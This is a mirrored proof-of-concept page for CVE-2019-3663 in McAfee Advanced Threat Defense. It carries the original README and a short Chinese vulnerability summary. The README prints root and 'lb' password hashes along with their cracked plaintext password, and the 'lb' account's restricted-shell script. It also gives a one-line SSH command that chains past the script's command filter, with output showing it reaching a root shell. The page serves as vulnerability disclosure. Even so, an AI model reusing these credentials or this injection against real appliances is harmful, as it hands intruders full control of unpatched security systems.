CVE-2019-3663 PoC — McAfee Advanced Threat Defense 安全漏洞

Source

https://github.com/funoverip/mcafee_atd_CVE-2019-3663

Associated Vulnerability

Title:McAfee Advanced Threat Defense 安全漏洞 (CVE-2019-3663)
Description:McAfee Advanced Threat Defense（ATD）是美国迈克菲（McAfee）公司的一套高级威胁防护系统。该系统通过静态代码分析、恶意软件动态分析和机器学习等，提供零日攻击防护和恶意软件防护等功能。 McAfee ATD4.8之前版本中存在安全漏洞，该漏洞源于程序没有保护存储的凭证。本地攻击者可通过访问系统上的敏感文件利用该漏洞访问root密码。

Description

 McAfee Advanced Threat Defense ATD 4.6.x and earlier - Hardcoded root password

Readme

# McAfee ATD CVE-2019-3663
* McAfee Advanced Threat Defense ATD 4.6.x and earlier - Hardcoded root password
* Security Bulletin: https://kc.mcafee.com/corporate/index?page=content&id=SB10304

## Interesting shadow entries
```
root:$6$hHb7yjP/$JY9Zf8jFCL966X8rbOqerkuXR86AUMl4bNCuDiEgoXWZEE5dWssWvnokv.54YG4/KRQuNbZBiUWur2/Tj4uUf0:18030:0:99999:7:::
lb:$6$.ewB2mx1KaJArlbX$Bk8y21qhRblgJrlPW68712YqlS/kII6iVxLw849NK/6PAVYLHto1btfL4s.2WVpMNh1tXIwzr/h
```

## Interesting passwd entries
```
root:x:0:0:root:/root:/sbin/nologin
lb:x:0:0::/home/lb:/opt/amas/bin/lb_shell
```

## Cracked hashes
```
$6$hHb7yjP/$JY9Zf8jFCL966X8rbOqerkuXR86AUMl4bNCuDiEgoXWZEE5dWssWvnokv.54YG4/KRQuNbZBiUWur2/Tj4uUf0:validedge
$6$.ewB2mx1KaJArlbX$Bk8y21qhRblgJrlPW68712YqlS/kII6iVxLw849NK/6PAVYLHto1btfL4s.2WVpMNh1tXIwzr/h4WIY60R1xe.:validedge
```

## Custom shell of 'lb' user
```
$ cat /opt/amas/bin/lb_shell
#!/bin/bash
# We accept exactly 2 args and in the form:
# -c <command>
if (( $# != 2 )) || [[ "$1" != "-c" ]] ; then
  echo interactive login not permitted
  exit 1
fi
case "$2" in
  # Accept only scp and fileupload commands
  "scp "* | "php /srv/www/htdocs/php/fileupload.php "* | "mv /vedata/"* | "cd /srv/www/htdocs/php/"* | "sleep"* | *"collectPerformanceData.sh "*)
  ;; # continue execution
   * )
   echo that command is not allowed
   exit 1
   ;;
esac
# Execute the command
/bin/bash -c "$2"
# Return with the exit status of the command
exit $?
```

# PoC
```
$ ssh -p 2222 lb@b.b.c.d "sleep 1;/bin/bash -i "
[root@mcafee ~]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@mcafee ~]#
```

File Snapshot


 [4.0K]  /data/pocs/ae3ced3f75650abe20943eb691aa511e849521e8
└── [1.5K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!